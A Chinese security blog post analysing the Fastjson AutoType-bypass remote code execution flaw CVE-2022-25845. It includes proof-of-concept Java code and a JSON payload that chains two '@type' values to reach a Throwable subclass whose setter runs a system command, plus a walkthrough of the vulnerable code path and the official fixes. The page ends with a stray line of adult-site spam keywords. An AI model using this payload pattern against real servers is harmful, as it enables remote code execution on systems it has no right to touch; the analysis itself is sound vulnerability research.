<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Fastjson 代碼執行 CVE-2022-25845

    VSole2022-07-21 13:13:35

    漏洞簡介

    Fastjson 代碼執行漏洞,該漏洞允許攻擊者繞過 Fastjson 中的"AutoTypeCheck"機制并實現遠程代碼執行

    影響版本:1.2.80及以下版本,即<= 1.2.80

    漏洞復現

    我們利用 idea 創建 maven 項目 搭建漏洞環境,在 pom 文件中添加

        com.alibabagroupId>    fastjsonartifactId>    1.2.82version>dependency>
    

     創建文件夾 com.example.fastjson

     在下面添加兩個 java 文件

    package com.example.fastjson;
    import java.io.IOException;
    public class Poc extends Exception {    public void setName(String str) {        try {            Runtime.getRuntime().exec(str);        } catch (IOException e) {            e.printStackTrace();        }    }}
    package com.example.fastjson;import com.alibaba.fastjson.JSON;
    public class PocDemo {    public static void main(String[] args) {        String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}";        JSON.parse(json);    }}
    

     運行 PocDemo

     

    漏洞分析

    AutoType

    我們知道在 fastjson 1.2.25 后設定了 autoType 只有打開 autoType之后,fastjson 是基于內置黑名單來實現安全的,如此可能會造成安全風險,就是繞過黑名單

    不開啟時,是基于白名單進行防護的,這個漏洞的產生就是未開啟 autoType 時產生的。

    但是未開啟 autoType 時是基于白名單,是很難實現代碼執行的,所以我們就需要想辦法 Bypass AutoType 默認禁用策略,可以實現調用任意類

    開啟 autoType 后,最終調用的是 config.checkAutoType

    com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class, int)

     

     其中聲明了各種被黑名單列入的類,是通過十六進制來記錄各種類,可以在 fastjson-blacklist,看到具體類的名稱

    Throwable

     我們注意到在 com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze 中也同樣調用了 checkAutoType

     

     

     同時我們可以發現在 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class, java.lang.reflect.Type) 會檢測目標類中是否屬于Throwable 的擴展,之后就會調用 ThrowableDeserializer.deserialize()

     

     所以初步得出結論,如果目標類屬于 Throwable 的擴展類,就可以實現打開autoType的類似操作,去調用任何類

     

     為了驗證這個猜測,我們修改一下文件

    package com.example.fastjson;
    importjava.io.IOException;
    publicclass Poc extendsError {    publicvoidsetName(String str){        try{            Runtime.getRuntime().exec(str);        }catch(IOException e){            e.printStackTrace();        }    }}
    

     

     依然可以利用成功

     繼續關注函數 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class, java.lang.reflect.Type) 會調用 createException 去創建反序列化函數

     

     com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#createException

     

     最后還是在函數 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class, java.lang.reflect.Type) 中實現了代碼執行

     

    如此整個漏洞就分析完成了

    漏洞修復

     官方提供了以下四種修復方式

    ?升級到最新版本1.2.83

    ?safeMode加固

    ?升級到fastjson v2

    ?noneautotype版本

    總結反思

    整個漏洞的分析花了很多時間,根據參考文章 CVE-2022-25845 – Analyzing the Fastjson “Auto Type Bypass” RCE vulnerability 來來回回加斷點調試了很久。對這個漏洞做一個自己的總結。

    在默認未開啟 AutoType 時,Fastjson 是基于白名單的獲取外部類,通過 搜索? checkAutoType 發現ThrowableDeserializer#deserialze 中的調用,當然也不止這一處,只是這處能進一步的利用,通過滿足類屬于 Throwable 的擴展類就可以觸發,最后實現代碼執行。但是這個代碼在實際場景中的利用要求較為苛刻,首先滿足類是 Throwable 的擴展類,同時其中必須有危險的 set 方法。

    fastjson
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    1. 根據現有payload,檢測目標是否存在fastjson或jackson漏洞(工具僅用于檢測漏洞)2. 若存在漏洞,可根據對應payload進行后滲透利用3. 若出現新的漏洞時,可將最新的payload新增至txt中(需修改格式)4. 工具無法完全替代手工檢測,僅作為輔助工具使用
    FastJson結合二次反序列化繞過黑名單
    現有的fastjson掃描器無法滿足迭代速度如此快的fastjson版本,大部分掃描器早已無人維護,已不適配高版本。我將持續優化此系列項目。延遲檢測TODO適配內網環境下的探測適配webpack做自動化掃描完善DNS回顯探測依賴庫的探測完善在61版本以上并且不出網的檢測方式完善其他不同json解析庫的探測 完善相關依賴庫檢測如果在使用過程中有任何問題歡迎提出issues?
    漏洞分析花了蠻多時間
    fastjson反序列化已經是近幾年繼Struts2漏洞后,最受安全人員歡迎而開發人員抱怨的一個漏洞了。
    鑒于該漏洞影響范圍極大,建議企業盡快做好自查及防護。
    近期,啟明星辰集團北冥數據實驗室在漏洞監控中發現fastjson官方發布公告稱,fastjson 1.2.80及以下存在新的風險,并在第一時間對fastjson官方發布的安全公告進行分析研判,結合泰合盤古平臺(THPangu-OS)的底座能力,為廣大用戶給出應急處置指引方案。
    Fastjson 反序列化遠程代碼執行漏洞 Fastjson 是一款開源的高性能 JSON 解析處理庫,在國內被廣泛使用。5 月 23 日,Fastjson 官方發布安全通告,聲明修復了一處新的反序列化漏洞: https://github.com/alibaba/fastjson/wiki/security_update_20220523
    Fastjson 漏洞利用技巧
    2022-05-08 15:26:11
    Fastjson自動化檢測及簡化攻擊步驟,讓你更有效率的Tips。
    STATEMENT聲明由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类